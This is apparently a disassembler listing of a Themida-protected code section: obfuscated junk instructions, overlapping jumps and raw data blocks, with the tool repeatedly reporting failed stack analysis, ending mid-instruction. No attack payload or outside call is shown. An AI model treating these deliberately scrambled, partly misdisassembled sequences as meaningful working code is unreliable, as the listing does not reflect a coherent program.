0B8A0F97h, 0F000000h, 580h, 0C94DBB00h dd 8B0F10D9h, 8, 70CE8152h, 5A6A73D8h, 91FEF681h, 0B8662CDFh dd 810F5962h, 5, 7CD4CB9h, 5E939h, 379F0000h, 66998A94h dd 0CA81CE8Bh, 61CA8FD9h, 0E68166FCh, 0B70F437Fh, 0CE9D2h dd 0D1070000h, 7F933C80h, 3D17526Ch, 880FC7B6h, 0 dd 0FFB8B66h, 48Eh, 0C18B5200h, 0F38B665Ah, 0AE8h, 0AA72EC00h dd 1A852F3Bh, 0FCE6CBBh, 688h, 8D0F00h, 5E000000h, 66CC0ABBh dd 0E8B8666Fh, 93B1BB19h, 0FE90700h, 19000000h, 0DB60B255h dd 1228296Eh, 2871F593h, 8166D58Ah, 0F6961C6h, 58Ch, 0DF816600h dd 860F4488h, 0 dd 0FBC781F9h, 6040CAB0h ; --------------------------------------------------------------------------- mov bh, ah loc_601F56: ; CODE XREF: Themida_:00601F6Ej cmc popa adc si, 0CD05h sub ax, 0D7BFh pusha movzx eax, dx mov ecx, edi popa call sub_601F76 jbe short loc_601F56 pop ds cld fidiv dword ptr [edx-68h] ; --------------------------------------------------------------------------- db 0E1h ; =============== S U B R O U T I N E ======================================= sub_601F76 proc near ; CODE XREF: Themida_:00601F69p mov bl, 12h pop edi jmp loc_601F86 ; --------------------------------------------------------------------------- xchg ebp, [ebx+78h] cmc dec eax pop ebp db 3Eh movs dword ptr es:[edi], dword ptr ds:[esi] loc_601F86: ; CODE XREF: sub_601F76+3j pusha call sub_601F9B mov dh, 36h mov ebx, 0F179C8D8h setalc pop edi inc esp pop ebp add bl, ch mov cl, 69h sub_601F76 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_601F9B proc near ; CODE XREF: sub_601F76+11p jmp sub_601FAA sub_601F9B endp ; --------------------------------------------------------------------------- mov dword ptr [edx], 0E6F253C8h push ebx push eax pop esp push edi ; =============== S U B R O U T I N E ======================================= sub_601FAA proc near ; CODE XREF: sub_601F9Bj pop ebx movsx eax, ax popa sub di, 0D870h mov ah, cl and bh, 0D2h mov dx, 5A7Ch mov ax, dx movzx ecx, bx adc cx, 0CCB0h call near ptr sub_601FDB sub eax, 6B94A612h pop ss fcomp st(6) adc [esi-67h], dl or eax, [ecx] xchg eax, ebx sub_601FAA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_601FDB proc far ; CODE XREF: sub_601FAA+1Ep push esi mov si, 0ACDBh pop edx pop eax push ebx pusha jp $+6 adc dl, 74h popa pop ecx mov eax, ecx jmp loc_60200A ; --------------------------------------------------------------------------- fadd qword ptr [esi-360CCC4Eh] cmp al, bl lahf pop dword ptr [edx+272C6AF5h] popa lodsb mov bh, 0E8h dec edx loc_60200A: ; CODE XREF: sub_601FDB+16j xor esi, 2CAE57B3h or ch, 62h jmp loc_602025 ; --------------------------------------------------------------------------- jnp short loc_602037 inc esi retf 0ECBAh ; --------------------------------------------------------------------------- dw 4B89h dd 0F5E0E37Eh db 0C0h ; --------------------------------------------------------------------------- loc_602025: ; CODE XREF: sub_601FDB+38j xor ebx, 4A5BEA56h jz loc_602033 mov ch, 87h loc_602033: ; CODE XREF: sub_601FDB+50j clc mov ax, di loc_602037: ; CODE XREF: sub_601FDB+3Dj pusha mov esi, eax cmc popa and di, 0D50Bh mov dx, 8BC5h mov bx, 35EBh movsx esi, dx and edi, 2793DDDBh jmp loc_602067 ; --------------------------------------------------------------------------- db 0E6h ; --------------------------------------------------------------------------- mov edx, 1C3F3210h sub al, 51h dec ebp db 67h and ecx, 7D888DD0h loc_602067: ; CODE XREF: sub_601FDB+77j sbb cl, 98h adc edx, 4278C3ADh push eax mov edx, 638D45F1h pop esi jmp loc_602087 ; --------------------------------------------------------------------------- retn 6C7Dh ; --------------------------------------------------------------------------- db 48h dd 7243AA2Ah db 47h, 0ABh, 21h ; --------------------------------------------------------------------------- loc_602087: ; CODE XREF: sub_601FDB+9Cj pusha push esi movsx eax, ax pop esi pusha jo $+6 mov ah, bl popa popa adc ax, 0BB7Dh movsx eax, dx cld add dx, 0CC7Ch push ebx pop ebx mov ah, 5Fh jmp loc_6020BE ; --------------------------------------------------------------------------- db 0E3h dd 0FF54839Ch, 0C715D734h, 63380AB2h db 44h, 11h ; --------------------------------------------------------------------------- loc_6020BE: ; CODE XREF: sub_601FDB+CFj push ebx mov bl, 0Ah pop edx loc_6020C2: ; CODE XREF: sub_601FDB+124j clc pusha push edx mov edi, 1A18EA8h pop eax popa sub bl, 0C8h mov edx, ebx mov ebx, edx jmp loc_6020EC ; --------------------------------------------------------------------------- dd 6071BDD6h, 0C3F688E0h, 0A608A90Fh, 997EC1E2h, 3B49B763h ; --------------------------------------------------------------------------- loc_6020EC: ; CODE XREF: sub_601FDB+F8j movzx ebx, bx mov ah, cl pusha call near ptr loc_602106+1 mov edi, [eax-33B34A94h] out 17h, eax js short loc_6020C2 mov ah, 50h aaa fxch7 st(5) loc_602106: ; CODE XREF: sub_601FDB+117p mov byte ptr [ecx-3F4E4818h], 78h sub_601FDB endp ; sp-analysis failed pop eax jl loc_602116 push esi pop edx loc_602116: ; CODE XREF: Themida_:0060210Ej popa jmp loc_602123 ; --------------------------------------------------------------------------- lodsd pop ds cmp eax, 0B9903ECEh loc_602123: ; CODE XREF: Themida_:00602117j mov cx, 6B80h sub ax, 38Dh jmp loc_602142 ; --------------------------------------------------------------------------- db 16h, 66h, 49h dd 59A42E84h, 7AC70D40h, 0E80D1360h db 0C0h, 94h ; --------------------------------------------------------------------------- loc_602142: ; CODE XREF: Themida_:0060212Cj mov ax, cx ja loc_602156 jno loc_602156 mov edx, 3206C4FCh loc_602156: ; CODE XREF: Themida_:00602145j ; Themida_:0060214Bj jmp loc_60216D ; --------------------------------------------------------------------------- db 0FDh dd 3C0489CFh, 9F6178B7h, 434371DEh, 9FB1BB15h db 2Eh ; --------------------------------------------------------------------------- loc_60216D: ; CODE XREF: Themida_:loc_602156j movzx ebx, di mov ax, bx or bl, 28h mov dh, al jbe loc_602181 movzx edx, bx loc_602181: ; CODE XREF: Themida_:00602178j jmp loc_60218C ; --------------------------------------------------------------------------- or [eax+5Ch], esi pop es pushf loc_60218C: ; CODE XREF: Themida_:loc_602181j mov di, si mov esi, 6F09214Ch or dx, 0FDD5h pusha clc mov cx, bx popa mov di, dx xor si, 7C3Fh pusha adc esi, 51E24241h popa mov esi, 3AADA6D1h mov si, di jg $+6 add ax, 7DAh xor di, 0C3A5h jbe loc_6021D0 add ah, 0CFh loc_6021D0: ; CODE XREF: Themida_:006021C7j jmp loc_6021DB ; --------------------------------------------------------------------------- db 0F2h, 6Ch, 0B7h db 28h, 80h, 0EDh ; --------------------------------------------------------------------------- loc_6021DB: ; CODE XREF: Themida_:loc_6021D0j mov ebx, 6D6A4EDAh mov cl, bh jmp loc_6021F1 ; --------------------------------------------------------------------------- db 94h dd 56BDED60h, 85BD42ACh db 0E0h ; --------------------------------------------------------------------------- loc_6021F1: ; CODE XREF: Themida_:006021E2j mov di, 8D59h sub eax, 0BBDBF4Bh mov ax, 99AEh mov si, 8DDCh sub di, 0A94Eh stc mov bl, al stc mov ax, 0B756h pusha mov si, 415Eh clc popa pusha mov dh, 37h mov di, 0F26Ah popa mov edx, esi ja loc_60222A mov di, dx loc_60222A: ; CODE XREF: Themida_:00602221j mov dh, 78h mov ax, si push esi or ebx, 0EAEFE69h pop edi pusha pusha adc esi, 72925016h popa jmp loc_60224D ; --------------------------------------------------------------------------- db 0A1h, 0F9h, 59h dd 210F2B43h db 0A3h ; --------------------------------------------------------------------------- loc_60224D: ; CODE XREF: Themida_:00602240j popa jnp loc_602259 mov ebx, 1818DD21h loc_602259: ; CODE XREF: Themida_:0060224Ej mov di, ax jmp loc_602268 ; --------------------------------------------------------------------------- db 0D4h, 1Eh, 0D3h dd 5425BC19h ; --------------------------------------------------------------------------- loc_602268: ; CODE XREF: Themida_:0060225Cj mov al, 1Dh pusha mov ecx, 7E7D49A8h mov ah, 68h popa mov bh, 0CAh mov bx, dx jmp loc_60228B ; --------------------------------------------------------------------------- db 73h, 59h, 0F5h dd 20E41E7Fh, 0A0122F32h db 62h, 0DCh, 0BBh ; --------------------------------------------------------------------------- loc_60228B: ; CODE XREF: Themida_:00602278j pusha sbb ebx, 735B381Dh mov edi, ebx popa jmp loc_6022A4 ; --------------------------------------------------------------------------- dw 54AAh dd 4EDAB044h, 45873DAEh ; --------------------------------------------------------------------------- loc_6022A4: ; CODE XREF: Themida_:00602295j mov ecx, edi mov cl, al mov cx, si mov edx, ebx pusha movzx esi, bx mov eax, 761D2CDDh popa add bx, 0C70Bh sbb dx, 8CCCh mov bx, di push edx mov edi, 4F1FA165h pop eax or dh, 0B8h sbb esi, 7C2C57F6h jmp loc_6022E1 ; --------------------------------------------------------------------------- db 19h, 0FCh, 0Ch ; --------------------------------------------------------------------------- retn 92ABh ; --------------------------------------------------------------------------- db 93h db 75h ; --------------------------------------------------------------------------- loc_6022E1: ; CODE XREF: Themida_:006022D4j jo loc_6022E9 mov ebx, eax loc_6022E9: ; CODE XREF: Themida_:loc_6022E1j jnz $+6 sbb ecx, 4DE895EDh mov di, 1262h clc jb loc_602303 adc cl, 1Ah loc_602303: ; CODE XREF: Themida_:006022FAj push edi pop eax or ecx, 2100F254h movsx ebx, bx jo loc_60232F call near ptr loc_602326+4 sub eax, 24612F97h fist dword ptr [edx+2C2414E3h] sbb [edi], esp loc_602326: ; CODE XREF: Themida_:00602314p les edx, [edi-46995C84h] aas mov dl, 5Eh loc_60232F: ; CODE XREF: Themida_:0060230Ej call sub_60233A or ebx, 1D8558C7h ; =============== S U B R O U T I N E ======================================= sub_60233A proc near ; CODE XREF: Themida_:loc_60232Fp sbb ebx, 2BCDB2BDh pop eax xor ecx, 5660181Ch jp loc_602353 jns $+6 loc_602353: ; CODE XREF: sub_60233A+Dj mov cx, di and ebx, 58F4C683h mov bx, 83F7h movzx esi, bx jno loc_60236F xor ebx, 72545E2Eh loc_60236F: ; CODE XREF: sub_60233A+29j push ebx jnz loc_602378 push ebx pop edi loc_602378: ; CODE XREF: sub_60233A+36j pop ebx call sub_602391 test dword ptr [ebx+0D59DB01h], 522869C6h sti lea edx, [ecx-4FAE265Bh] add edx, ecx sub_60233A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_602391 proc near ; CODE XREF: sub_60233A+3Fp push esi pusha popa pop ebx pop edi jnz loc_60239F mov si, bx loc_60239F: ; CODE XREF: sub_602391+5j movsx eax, cx movsx eax, bx mov esi, 61D155B6h push eax jmp loc_6023B6 ; --------------------------------------------------------------------------- sub ch, [ecx+24h] and edi, ebx pop esp loc_6023B6: ; CODE XREF: sub_602391+1Aj pop esi jl loc_6023C8 pusha sub cl, 0F7h adc edx, 5CA46BFCh popa loc_6023C8: ; CODE XREF: sub_602391+26j push ebx adc si, 53B4h pop ecx jmp loc_6023E4 ; --------------------------------------------------------------------------- dd 51E3E5ABh, 0C3991E9Ah, 835240D8h, 462EB6F2h ; --------------------------------------------------------------------------- loc_6023E4: ; CODE XREF: sub_602391+3Ej mov ecx, 4D6C0DBCh jmp loc_602401 ; --------------------------------------------------------------------------- dw 20CFh dd 0ABB7E5F7h, 7760BE31h, 5DDE5354h, 0CA1999E4h db 83h ; --------------------------------------------------------------------------- loc_602401: ; CODE XREF: sub_602391+58j jl loc_60240D sub ecx, 634B5FE7h loc_60240D: ; CODE XREF: sub_602391:loc_602401j or dx, 7029h movzx esi, ax cmc adc edi, 52AC0418h mov cx, di jmp loc_60242D ; --------------------------------------------------------------------------- dd 0BB2CE69h, 9722FA60h ; --------------------------------------------------------------------------- pop edx loc_60242D: ; CODE XREF: sub_602391+8Ej and ax, 0E3ECh mov edx, eax call near ptr loc_60243D+1 cmpsd repne mov dl, 7 loc_60243D: ; CODE XREF: sub_602391+A3p adc byte ptr [eax-75h], 0F9h sub_602391 endp ; sp-analysis failed pop ebx pop eax movzx ebx, dx clc jl $+6 jno loc_602458 mov edi, 796799E3h loc_602458: ; CODE XREF: Themida_:0060244Dj mov di, 28E0h push edi mov bl, 0Eh pop esi mov dh, 0D1h clc mov ebx, 9B95123h jge loc_602474 add edi, 3A7CFCBDh loc_602474: ; CODE XREF: Themida_:00602468j push edi jz loc_60247D mov edx, ecx loc_60247D: ; CODE XREF: Themida_:00602475j pop esi mov eax, 4F852752h and di, 7D02h sbb esi, 3ED9BE5Bh or di, 0EEF3h mov bl, dl pusha mov edx, ecx call near ptr loc_6024A5+3 mov edi, 7D0BBEEh jo short loc_6024C0 outsd loc_6024A5: ; CODE XREF: Themida_:00602498p xor eax, 8E9887Bh ; --------------------------------------------------------------------------- dw 0 dd 0EA17D900h, 50579785h, 0B6615AB0h, 0F0BF0FE6h, 0BF0FFCF5h ; --------------------------------------------------------------------------- loc_6024C0: ; CODE XREF: Themida_:006024A2j shr eax, 1 or al, 0 ; --------------------------------------------------------------------------- dd 1B3F0000h, 6D178251h, 98A30569h, 860F4F08h, 4, 0D136B866h dd 0FF88B5Ah, 8A0FF2B7h, 0 ; --------------------------------------------------------------------------- movsx esi, si jnb $+6 push edx mov cl, ah pop edx jnz loc_6024FD mov bl, dl loc_6024FD: ; CODE XREF: Themida_:006024F5j clc jnz loc_602513 call sub_60250F fdivrp st(3), st or bh, bh sub dh, bh ; =============== S U B R O U T I N E ======================================= sub_60250F proc near ; CODE XREF: Themida_:00602504p or ah, 0DEh pop esi loc_602513: ; CODE XREF: Themida_:006024FEj mov eax, 39E7BFFAh mov di, 811Bh jmp loc_602526 ; --------------------------------------------------------------------------- cmp bl, [ecx+ebx] ja short loc_60256D loc_602526: ; CODE XREF: sub_60250F+Dj push edi add bx, 0C606h pop ebx mov edi, 558AA537h mov ebx, ecx xor di, 0CE53h jmp loc_602550 ; --------------------------------------------------------------------------- dw 0B11h dd 9F0A93F9h, 971191C1h, 0DB03B003h, 1C626023h ; --------------------------------------------------------------------------- loc_602550: ; CODE XREF: sub_60250F+2Aj jo loc_602557 stc loc_602557: ; CODE XREF: sub_60250F:loc_602550j movsx esi, si sub cx, 34C1h mov edx, 1C01A0ECh mov edi, 10DE791Dh mov di, cx push ebx loc_60256D: ; CODE XREF: sub_60250F+15j mov di, bx pop ebx xor edx, 7DECACE2h jnb loc_602583 push edi mov ax, 1275h pop ebx loc_602583: ; CODE XREF: sub_60250F+68j jmp loc_60259B ; --------------------------------------------------------------------------- dd 0AD3BE069h, 0BD22589Eh, 1AAA4B25h, 23DA2F8Ah ; --------------------------------------------------------------------------- xchg eax, ecx jecxz short loc_6025F8 loc_60259B: ; CODE XREF: sub_60250F:loc_602583j mov dh, 0B4h push edi mov cx, 0B48Bh pop edx jmp loc_6025AD ; --------------------------------------------------------------------------- dd 0A527F096h ; --------------------------------------------------------------------------- lahf loc_6025AD: ; CODE XREF: sub_60250F+94j mov bl, al call sub_6025C0 dec edi and eax, 0A87921C5h adc al, 6Bh xchg eax, edi in eax, dx fcmovu st, st(1) sub_60250F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6025C0 proc near ; CODE XREF: sub_60250F+A0p mov si, 0CD1Eh pop edi jl loc_6025D0 or dx, 1758h loc_6025D0: ; CODE XREF: sub_6025C0+5j ja loc_6025DC adc edx, 1358FA3Bh loc_6025DC: ; CODE XREF: sub_6025C0:loc_6025D0j sub bh, 69h mov edi, 4BAF4FEBh sub dx, 9222h adc edx, 76D0472h jmp loc_602603 ; --------------------------------------------------------------------------- dd 62DEDE62h ; --------------------------------------------------------------------------- loc_6025F8: ; CODE XREF: sub_60250F+8Aj cli lodsb db 66h mov bh, 0F2h and bl, [edi] pop eax in eax, dx movsd insd loc_602603: ; CODE XREF: sub_6025C0+2Fj push ebx movzx esi, di pop eax call sub_602621 pop ebp fcomi st, st(5) leave pop edx push cs push edi icebp inc esp jmp dword ptr [eax+ebx*8-63E8D495h] sub_6025C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0B7h, 58h, 15h ; --------------------------------------------------------------------------- inc edx ; =============== S U B R O U T I N E ======================================= sub_602621 proc near ; CODE XREF: sub_6025C0+48p pusha sub dx, 0B16Fh popa pop ecx jmp loc_602642 ; --------------------------------------------------------------------------- dw 56D7h dd 0CBD97FE6h, 0C220147Fh, 33D997F7h, 6BDA6740h ; --------------------------------------------------------------------------- lodsd dec esi loc_602642: ; CODE XREF: sub_602621+8j mov dx, ax mov ax, si push ecx and dl, 66h pop edi jl loc_602657 pusha mov bh, al popa loc_602657: ; CODE XREF: sub_602621+2Cj push ebx or ebx, 412A780Dh pop edx jmp loc_602670 ; --------------------------------------------------------------------------- imul ebx, [edi], 8F8BE019h mov esi, 0E8EF42B6h xchg eax, edx loc_602670: ; CODE XREF: sub_602621+3Ej call sub_60267E cld cdq inc ecx cmp al, bl xor edx, [edx] jl short loc_6026EA sub_602621 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_60267E proc near ; CODE XREF: sub_602621:loc_602670p cld pop edi stc mov bh, al movsx eax, ax pusha jmp loc_60269F ; --------------------------------------------------------------------------- dd 33850E78h, 2ECA724Ch, 15BC6912h, 0FE74EFDEh ; --------------------------------------------------------------------------- movsb sub esi, esi loc_60269F: ; CODE XREF: sub_60267E+9j popa cld push ebx add esi, 5F5E0E6h pop eax mov eax, edi cld mov ax, bx pusha mov ecx, ebx mov di, cx popa add ecx, 36F1D8E2h cld or al, 3Eh mov dx, 454Dh movzx edx, ax jmp loc_6026D2 ; --------------------------------------------------------------------------- dd 0EE801345h ; --------------------------------------------------------------------------- neg cl loc_6026D2: ; CODE XREF: sub_60267E+49j cld mov edx, 1746AE40h movsx ebx, bx push ebx ja loc_6026E4 push ecx pop edi loc_6026E4: ; CODE XREF: sub_60267E+5Ej pop edx jmp loc_6026EF ; --------------------------------------------------------------------------- loc_6026EA: ; CODE XREF: sub_602621+5Bj cmc xor byte ptr [eax-41h], 98h loc_6026EF: ; CODE XREF: sub_60267E+67j jmp loc_602704 ; --------------------------------------------------------------------------- dd 75C6A106h, 21A02705h, 0FC1AAC0Eh, 6FE2FC07h ; --------------------------------------------------------------------------- loc_602704: ; CODE XREF: sub_60267E:loc_6026EFj movzx edi, bx cld pusha mov ax, 2F54h mov di, 0F446h popa mov dx, 53AFh push eax movzx edi, cx pop edx sbb edi, 43C59370h mov ecx, edx jp loc_602731 push edi jnp $+6 pop edi loc_602731: ; CODE XREF: sub_60267E+A5j push esi stc pop ecx mov eax, 3DCD4BBCh push eax call sub_602746 sal byte ptr [ecx+edx*2+484ECC85h], 1 sub_60267E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_602746 proc near ; CODE XREF: sub_60267E+BCp js $+6 pop eax pop edi jg loc_602768 jbe loc_602768 jmp loc_602768 ; --------------------------------------------------------------------------- db 0FBh dd 65AFC47Fh, 2E251E8Eh ; --------------------------------------------------------------------------- loc_602768: ; CODE XREF: sub_602746+8j ; sub_602746+Ej ... mov ax, 2142h call sub_602779 inc esi and ah, al db 2Eh in al, 30h or [edi], dl sub_602746 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_602779 proc near ; CODE XREF: sub_602746+26p jg loc_602781 mov cl, ah loc_602781: ; CODE XREF: sub_602779j pop ecx jl loc_60278A mov al, 0AEh loc_60278A: ; CODE XREF: sub_602779+9j and ebx, 358D6FAAh cld mov di, ax and ax, 5C6Dh mov ecx, 0E7FF386h jg loc_6027AA sbb edx, 0E0F8B92h loc_6027AA: ; CODE XREF: sub_602779+25j and bl, 32h mov bx, cx mov si, ax sub cx, 0B744h pusha mov ebx, 4331B1F1h jb $+6 popa jnp loc_6027D9 pusha jge $+6 jb $+6 popa loc_6027D9: ; CODE XREF: sub_602779+4Cj add bh, 0B7h call sub_6027F0 mov ecx, edi xor [esi+ebx*2], ebx sub dh, 60h inc edi sub edi, esp push 0FFFFFFE6h pop ebx aaa sub_602779 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6027F0 proc near ; CODE XREF: sub_602779+63p pusha mov cx, ax pusha popa popa pop edx jmp loc_602804 ; --------------------------------------------------------------------------- db 42h, 0E3h, 44h dd 24C61E91h ; --------------------------------------------------------------------------- loc_602804: ; CODE XREF: sub_6027F0+8j mov eax, 69EAF930h movzx ebx, di push esi adc ax, 0DB99h pop edi or si, 6E34h sub ecx, 7334F31Ch adc edi, 520D1F0Dh cmc movsx edi, di mov ecx, 2DD8B5E2h clc js loc_60284B jmp loc_60284B ; --------------------------------------------------------------------------- aas or dword ptr [ecx-42E82D0Ah], 0AE039548h fadd dword ptr [ebp-4Ch] xor al, 4Ah add dl, ah loc_60284B: ; CODE XREF: sub_6027F0+3Ej ; sub_6027F0+44j jmp loc_60285E ; --------------------------------------------------------------------------- dd 0B4969CE8h, 0A9C8284Fh, 0DC7CE203h db 8Dh, 5Ch ; --------------------------------------------------------------------------- loc_60285E: ; CODE XREF: sub_6027F0:loc_60284Bj mov edx, 1EF660Eh mov bl, 21h jnp loc_60286E movzx ecx, di loc_60286E: ; CODE XREF: sub_6027F0+75j mov esi, ecx sub ch, 7Dh jnp loc_60287C movzx edx, bx loc_60287C: ; CODE XREF: sub_6027F0+83j mov ecx, edi sub ax, 9A34h mov ebx, 34245F6Dh mov cl, 0A0h push eax cmc pop edx jno loc_602898 mov eax, 1BCE5231h loc_602898: ; CODE XREF: sub_6027F0+9Dj jmp loc_6028AF ; --------------------------------------------------------------------------- jz short loc_6028C3 or al, 6Ah pop ebp cwde mov dl, 0E5h add al, 88h dec edx push ds leave cmp eax, 19721548h loc_6028AF: ; CODE XREF: sub_6027F0:loc_602898j movzx edi, ax mov edi, 1F9D4EA6h pusha push esi stc pop esi jp $+6 popa cld loc_6028C3: ; CODE XREF: sub_6027F0+ADj mov edx, edi sbb ah, 0ECh sbb bx, 9D9Ch mov ebx, edx movsx esi, cx cmc jp loc_6028DC sub dl, 88h loc_6028DC: ; CODE XREF: sub_6027F0+E3j jno loc_6028E8 and esi, 1304C2A5h loc_6028E8: ; CODE XREF: sub_6027F0:loc_6028DCj sbb bx, 0CE2Dh jmp loc_602902 ; --------------------------------------------------------------------------- dw 6E09h dd 8A1FC4EFh, 78CE0FB2h, 8663F27Eh db 0CFh, 18h ; --------------------------------------------------------------------------- loc_602902: ; CODE XREF: sub_6027F0+FDj pusha add si, 0A7CEh popa mov ax, cx movzx esi, dx call near ptr loc_602921+1 adc [ebx-39D364EAh], bl sub bh, [eax+1Ah] xor [esi], ch cwde lodsd loc_602921: ; CODE XREF: sub_6027F0+11Fp lea eax, [ecx+54C10FEAh] sub_6027F0 endp ; sp-analysis failed sbb [edi-76h], bl rep jmp loc_60293A ; --------------------------------------------------------------------------- dd 96EDDBB5h, 0CDE301FBh db 82h, 0BBh ; --------------------------------------------------------------------------- loc_60293A: ; CODE XREF: Themida_:0060292Aj pusha mov si, bx jnp loc_60295B jmp loc_60295B ; --------------------------------------------------------------------------- db 0F2h, 0, 4 dd 3AABEAC5h, 0BE44AAB5h, 0AF50FC9Dh db 71h, 0C2h, 5Eh ; --------------------------------------------------------------------------- loc_60295B: ; CODE XREF: Themida_:0060293Ej ; Themida_:00602944j popa mov bx, dx jmp loc_60296E ; --------------------------------------------------------------------------- dd 0B85B71C6h, 93A0E9DCh db 83h, 0BDh ; --------------------------------------------------------------------------- loc_60296E: ; CODE XREF: Themida_:0060295Fj jmp loc_602979 ; --------------------------------------------------------------------------- db 0Fh dd 59915907h db 2Bh ; --------------------------------------------------------------------------- loc_602979: ; CODE XREF: Themida_:loc_60296Ej jl loc_602981 mov cl, 8Dh loc_602981: ; CODE XREF: Themida_:loc_602979j mov ebx, eax mov esi, 33E9838Ch jg $+6 jmp loc_6029A2 ; --------------------------------------------------------------------------- db 3Ch dd 0C05149ADh, 0E7433527h, 0C8EEFA94h db 0BFh, 60h ; --------------------------------------------------------------------------- loc_6029A2: ; CODE XREF: Themida_:0060298Ej mov esi, ebx call sub_6029B8 or ecx, [eax] call near ptr 7E0EB7E5h and [ebp-393CA055h], dl mov bh, 0D2h ; =============== S U B R O U T I N E ======================================= sub_6029B8 proc near ; CODE XREF: Themida_:006029A4p sbb cx, 5E86h pop ecx mov ax, 0F7C8h sub dl, 0B7h mov dx, 88C4h jnp loc_6029DB ja loc_6029DB adc eax, 125120D2h loc_6029DB: ; CODE XREF: sub_6029B8+11j ; sub_6029B8+17j mov ebx, ecx jmp loc_6029ED ; --------------------------------------------------------------------------- dw 0DB6Ch dd 0CA28B11Ah, 0AE1985CCh ; --------------------------------------------------------------------------- xchg eax, esi loc_6029ED: ; CODE XREF: sub_6029B8+25j sub dl, 37h mov di, bx add esi, 4B083940h mov si, 0B001h movsx eax, di call loc_602A14 neg edi loc_602A07: ; CODE XREF: sub_602A68+1Bj lea ebp, [ebp-4CA41D90h] cwde cmp [ecx+41320ACCh], al sub_6029B8 endp ; sp-analysis failed loc_602A14: ; CODE XREF: sub_6029B8+48p ; Themida_:00602A62j jmp loc_602A2C ; --------------------------------------------------------------------------- db 3, 79h, 0AAh dd 40F03970h, 3DA402FAh, 5184AA75h, 17834D35h ; --------------------------------------------------------------------------- loc_602A2C: ; CODE XREF: Themida_:loc_602A14j pop edx adc bx, 1F74h pusha and si, 0EEC0h mov ecx, 7A45E55Ah popa mov esi, ebx mov si, dx jmp loc_602A51 ; --------------------------------------------------------------------------- dd 3E89D9EDh, 0EDDDC639h ; --------------------------------------------------------------------------- pop eax loc_602A51: ; CODE XREF: Themida_:00602A43j mov edi, ecx call sub_602A68 in al, dx clc scasb inc edi pop ss fsub dword ptr [eax] sub al, 55h ja short near ptr loc_602A14+3 hlt ; --------------------------------------------------------------------------- db 2Dh, 2 dup(0BFh) ; =============== S U B R O U T I N E ======================================= sub_602A68 proc near ; CODE XREF: Themida_:00602A53p jz loc_602A72 mov di, 9F9Dh loc_602A72: ; CODE XREF: sub_602A68j pop ebx jmp loc_602A8B ; --------------------------------------------------------------------------- pop ebp inc esp pop ebx lea esi, [ecx-30h] mov ebp, 0C9000D9Bh jg short loc_602A07 test [edi], edi dec ecx mov bl, 86h lahf loc_602A8B: ; CODE XREF: sub_602A68+Bj movsx ecx, dx call sub_602AA2 sbb [ebp-4Eh], edx pusha fld tbyte ptr [esi+29h] sub [edx], dl xchg eax, ebx cmc jno short near ptr loc_602AC6+2 mov dl, ch sub_602A68 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_602AA2 proc near ; CODE XREF: sub_602A68+26p sbb ecx, 3D13F799h pop eax mov eax, edi jmp loc_602ABB ; --------------------------------------------------------------------------- dd 0A58CE38Ah, 99A10396h db 0FCh, 2 dup(8Ch) ; --------------------------------------------------------------------------- loc_602ABB: ; CODE XREF: sub_602AA2+9j and edx, 6BCC1BF5h or cx, 62BCh loc_602AC6: ; CODE XREF: sub_602A68+36j jnb loc_602AD8 jnz loc_602AD8 sbb edi, 5EAE4746h loc_602AD8: ; CODE XREF: sub_602AA2:loc_602AC6j ; sub_602AA2+2Aj jnp loc_602AE1 movsx edi, dx loc_602AE1: ; CODE XREF: sub_602AA2:loc_602AD8j call near ptr loc_602AEF+4 movsd fisub dword ptr [ecx+2D3CFA52h] pop ss push ds loc_602AEF: ; CODE XREF: sub_602AA2:loc_602AE1p mov word ptr [esi+666041A4h], ss sub_602AA2 endp ; sp-analysis failed mov edx, ebx mov cx, bx popa pop ebx mov cl, 29h mov si, 0F1BEh movzx ebx, bx mov dh, 2Fh sbb esi, 5E67B5C8h push ecx jmp loc_602B24 ; --------------------------------------------------------------------------- db 51h dd 0A0298CDh, 0D2AD27E8h, 7E00AC7Ch, 473B42CAh ; --------------------------------------------------------------------------- loc_602B24: ; CODE XREF: Themida_:00602B0Ej pop ebx jmp loc_602B3C ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0F3h dd 668192E1h, 0C7CA2532h, 8F561EE1h, 0EF0D78D3h ; --------------------------------------------------------------------------- loc_602B3C: ; CODE XREF: Themida_:00602B25j mov ax, 8556h and di, 0A748h mov esi, 0D45AA39h mov edx, ebx or di, 3435h push edx add esi, 6FF34E34h pop edi mov ax, 0B584h clc movsx ebx, si push ebx mov esi, 13A39F58h pop ecx or edi, 39BC6A96h jl $+6 jno loc_602B99 call sub_602B92 mov edx, 594F4BC8h dec ecx inc ebp stosd das mov ch, 0Dh jmp far ptr 0EF67h:3BA2E123h ; --------------------------------------------------------------------------- db 0C7h ; =============== S U B R O U T I N E ======================================= sub_602B92 proc near ; CODE XREF: Themida_:00602B7Ap jo $+6 pop ebx loc_602B99: ; CODE XREF: Themida_:00602B74j adc dh, 7Dh sub cl, 0F1h movsx ebx, di call sub_602BB0 mov ds:3FA352A0h, al inc edi outsb ffree st(5) sub_602B92 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_602BB0 proc near ; CODE XREF: sub_602B92+10p pusha and edx, 502AB9CFh mov edx, edi popa pop esi jmp loc_602BCF ; --------------------------------------------------------------------------- dd 0E2C026D4h, 0C1196ECBh, 0E195B64Bh ; --------------------------------------------------------------------------- sbb al, 2Eh int 3 ; Trap to Debugger loc_602BCF: ; CODE XREF: sub_602BB0+Bj mov cl, bl sbb edx, 494780AEh pusha cmc mov si, 0D10h popa jmp loc_602BF5 ; --------------------------------------------------------------------------- db 22h dd 50BE2170h, 0E8C3E951h, 0C0451C26h, 4385DE0Bh db 0B7h ; --------------------------------------------------------------------------- loc_602BF5: ; CODE XREF: sub_602BB0+2Ej mov cx, 8980h movzx eax, bx jnp loc_602C0C jno loc_602C0C mov cx, 4B6Ch loc_602C0C: ; CODE XREF: sub_602BB0+4Cj ; sub_602BB0+52j add si, 0D2D5h call near ptr 